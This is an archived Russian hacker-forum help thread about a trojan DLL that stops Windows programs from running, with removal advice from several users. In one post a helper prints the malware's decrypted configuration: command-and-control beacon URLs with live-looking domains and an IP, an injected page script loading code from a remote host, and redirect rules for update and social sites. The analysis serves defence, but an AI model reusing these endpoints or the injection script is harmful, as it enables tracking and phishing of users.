Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 
журналы новости статьи video форум подписка на «Хакер»

Не запускается ни одна программа кроме IEx64

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Первый вопрос] >> Не запускается ни одна программа кроме IEx64
Имя
Сообщение << Старые топики   Новые топики >>
Не запускается ни одна программа кроме IEx64 - 2011-11-05 19:52:42.820000   
FAstkill

Сообщений: 4
Оценки: 0
Присоединился: 2011-11-05 19:47:28.536666
 прочитал топики по этой проблеме,все сделал что советовали ничего не помогло
при этом был установлен Eset nod32,когда возникла данная проблема он стал пустым окном,при его удалении и повторной установке пишет что невозможно изменение файлов по данной директории c/program filer/eset и т.д.
вот сохраненка из авторанс http://zalil.ru/31998778
Post #: 1
RE: Не запускается ни одна программа кроме IEx64 - 2011-11-05 20:32:01.490000   
class0071

Сообщений: 300
Оценки: 0
Присоединился: 2011-01-27 17:15:23.750000
 Скорее всего повреждены системные файли и сидит какой-нибудь вирь… Попробуй загрузиться с урезанной ОСи (LiveCD) и восстанови систему.
Post #: 2
RE: Не запускается ни одна программа кроме IEx64 - 2011-11-05 20:57:39.696666   
namepunk

Сообщений: 2732
Оценки: 184
Присоединился: 2009-09-15 13:35:36.866666
quote:

C:\Windows\system32\blopafb.dll Библиотека счетчиков AppleTalk системного монитора Корпорация Майкрософт c:\windows\syswow64\blopafb.dll

Опять он. Перед удалением c:\windows\syswow64\blopafb.dll скопируй и выложи его на форум. Очень уж часто стал он вылезать.
Также
quote:

PXCIEaddin Tracker Softaware c:\program files\tracker software\pdf-xchange 4\pxcieaddin4.dll

Слово softaware меня сильно смущает
Post #: 3
RE: Не запускается ни одна программа кроме IEx64 - 2011-11-05 21:17:37.656666   
zzsnn

Сообщений: 7459
Оценки: 680
Присоединился: 2007-09-25 07:17:14.240000
 "Перед удалением c:\windows\syswow64\blopafb.dll скопируй и выложи его на форум. Очень уж часто стал он вылезать. "
Залей куда нибудь Хотя бы на файлообменник и выложи сюда ссылку.
Post #: 4
RE: Не запускается ни одна программа кроме IEx64 - 2011-11-05 21:25:40.936666   
FAstkill

Сообщений: 4
Оценки: 0
Присоединился: 2011-11-05 19:47:28.536666
 убрал все вышесказанное-не помогло..
вам сам файл интересен?
какие еще варианты?
Post #: 5
RE: Не запускается ни одна программа кроме IEx64 - 2011-11-05 21:34:19.256666   
namepunk

Сообщений: 2732
Оценки: 184
Присоединился: 2009-09-15 13:35:36.866666
 Перезагрузись и повтори лог Autoruns
Post #: 6
RE: Не запускается ни одна программа кроме IEx64 - 2011-11-05 21:38:32.030000   
zzsnn

Сообщений: 7459
Оценки: 680
Присоединился: 2007-09-25 07:17:14.240000
 Файл интересен.
Post #: 7
RE: Не запускается ни одна программа кроме IEx64 - 2011-11-05 21:45:54.670000   
FAstkill

Сообщений: 4
Оценки: 0
Присоединился: 2011-11-05 19:47:28.536666
 вот этот файл http://zalil.ru/31999429
вот повтор лога http://zalil.ru/31999443
Post #: 8
RE: Не запускается ни одна программа кроме IEx64 - 2011-11-05 21:53:07.796666   
namepunk

Сообщений: 2732
Оценки: 184
Присоединился: 2009-09-15 13:35:36.866666
quote:

C:\Windows\system32\blopafb.dll Библиотека счетчиков AppleTalk системного монитора Корпорация Майкрософт c:\windows\syswow64\blopafb.dll

Ты его точно удалил? Файл совершенно точно троян. Мой нод на него материться.
Отчет virustotal
Отчет anubis
В отчете анубиса смотри на активность в реестре - сразу ясно почему не запускаються программы
+ C:\Program Files\Common Files\d1.tmp.dll
Post #: 9
RE: Не запускается ни одна программа кроме IEx64 - 2011-11-06 08:19:45.016666   
FAstkill

Сообщений: 4
Оценки: 0
Присоединился: 2011-11-05 19:47:28.536666
 Всем спасибо,действительно дело было в нем…загрузился через live_cd нашел его и еще раз удалил
-все заработало
Post #: 10
RE: Не запускается ни одна программа кроме IEx64 - 2011-11-06 23:27:06.520000   
Flint_ta

Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
quote:

вот этот файл http://zalil.ru/31999429

Др. Веб рапортует что это маячок. Я снял обертку криптора, имя дллки chkdski.dll, экспортирует всего одну функцию ChkDisk. Работает только при DLL_THREAD_ATTACH.
Расшифровались строки конфига:
0yandexapps.com/loPtfdn3dSasoicn/get.php?key=&amp;id=&amp;os=&amp;av=&amp;vm=&amp;al=&amp;p=&amp;z=351gcoglestats.com/loPtfdn3dSasoicn/get.php?key=&amp;id=&amp;os=&amp;av=&amp;vm=&amp;al=&amp;p=&amp;z=351msn-dns.com/loPtfdn3dSasoicn/get.php?key=&amp;id=&amp;os=&amp;av=&amp;vm=&amp;al=&amp;p=&amp;z=35194.102.49.64/loPtfdn3dSasoicn/get.php?key=&amp;id=&amp;os=&amp;av=&amp;vm=&amp;al=&amp;p=&amp;z=351&lt;script&gt;if(self==top){document.write("&lt;script src='http" + (("https:" == document.location.protocol) ? "s" : "") +"://gcoglestats.com/loPtfdn3dSasoicn/js.php?t=stat&amp;ran="+encodeURIComponent("key=&amp;id=&amp;p=")+"&amp;r="+escape(document.referrer)+"&amp;u="+escape(document.URL)+"&amp;v=351&amp;"+Math.random()+"'&gt;"+unescape("%3C/script%3E"));}&lt;/script&gt;&lt;/body&gt;youtube.comt/terms0yandexapps.com/yt_lxegvj4efc/tube.php?uid=&amp;id=&amp;url=help.vkontakte.ru0yandexapps.com/lo_nhyg38deijiwsx/vhelp.php?uid=&amp;id=&amp;url=help.mail.ru0yandexapps.com/ma_ghjkmnbgvfrt/mail.php?uid=&amp;id=&amp;url=admin.vkontakte.ru0yandexapps.com/lo_nhyg38deijiwsx/kr_vnhuirw43/vadmin.php?uid=&amp;id=&amp;url=update.microsoft.com0yandexapps.com/bt_pdfn3skxler/index.php?uid=&amp;id=&amp;url=update.mozilla.org0yandexapps.com/bt_pdfn3skxler/index.php?uid=&amp;id=&amp;url=download.opera.com0yandexapps.com/bt_pdfn3skxler/index.php?uid=&amp;id=&amp;url=chrome.google.com0yandexapps.com/bt_pdfn3skxler/index.php?uid=&amp;id=&amp;url=official.odnoklassniki.ru0yandexapps.com/od_xafhuy2ed/ohelp.php?uid=&amp;id=&amp;url=rushotgirls.com0yandexapps.com/bn_9iknfbcgtl/index.php?uid=&amp;id=&amp;url=internet.com0yandexapps.com/in_xbvgyui3vf/index.php?uid=&amp;id=&amp;url=*.co.cc0www.yandex.ru/yandexapps.com/loPtfdn3dSasoicn/post.php?id=&amp;form=&amp;url=!CFG

Далее собираются адреса:

yandexapps.com/loPtfdn3dSasoicn/get.php?key=365&id=60B06D22C8D1061F0800279060550000&os=5.1.2600.2&av=0&vm=0&al=0&p=177&z=351
gcoglestats.com/loPtfdn3dSasoicn/get.php?key=365&id=60B06D22C8D1061F0800279060550000&os=5.1.2600.2&av=0&vm=0&al=0&p=177&z=351
msn-dns.com/loPtfdn3dSasoicn/get.php?key=365&id=60B06D22C8D1061F0800279060550000&os=5.1.2600.2&av=0&vm=0&al=0&p=177&z=351.35
94.102.49.64/loPtfdn3dSasoicn/get.php?key=365&id=60B06D22C8D1061F0800279060550000&os=5.1.2600.2&av=0&vm=0&al=0&p=177&z=351.5

Все это хозяйство многопоточное, поэтому дебажить дальше было лениво )
Post #: 11
RE: Не запускается ни одна программа кроме IEx64 - 2011-11-13 16:28:26.620000   
kasu

Сообщений: 16
Оценки: 0
Присоединился: 2011-11-13 16:22:27.233333
 Помогите пожалста, полная катастрофа, не работает ни одна прога кроме интернет эксплоэр и других мелочных.
опишите пожалста поподробнее, тк в компах полный чайник.
вот http://zalil.ru/32047187
Post #: 12
RE: Не запускается ни одна программа кроме IEx64 - 2011-11-13 16:35:41.316666   
Flint_ta

Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
 C:\Windows\system32\rgdvqng.dll  удалить
c:\users\hp\appdata\roaming\netprotocol.exe удалить
Post #: 13
RE: Не запускается ни одна программа кроме IEx64 - 2011-11-13 17:07:21.300000   
kasu

Сообщений: 16
Оценки: 0
Присоединился: 2011-11-13 16:22:27.233333
 Это в безопасном режиме?
Post #: 14
RE: Не запускается ни одна программа кроме IEx64 - 2011-11-13 17:08:07.913333   
Flint_ta

Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
 желательно, но можно попробовать в опасном режиме )
Post #: 15
RE: Не запускается ни одна программа кроме IEx64 - 2011-11-13 17:31:04.190000   
kasu

Сообщений: 16
Оценки: 0
Присоединился: 2011-11-13 16:22:27.233333
 Огромнейшее спасибо)))))) все работает
Post #: 16
Страниц:  [1]
Все форумы >> [Первый вопрос] >> Не запускается ни одна программа кроме IEx64







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.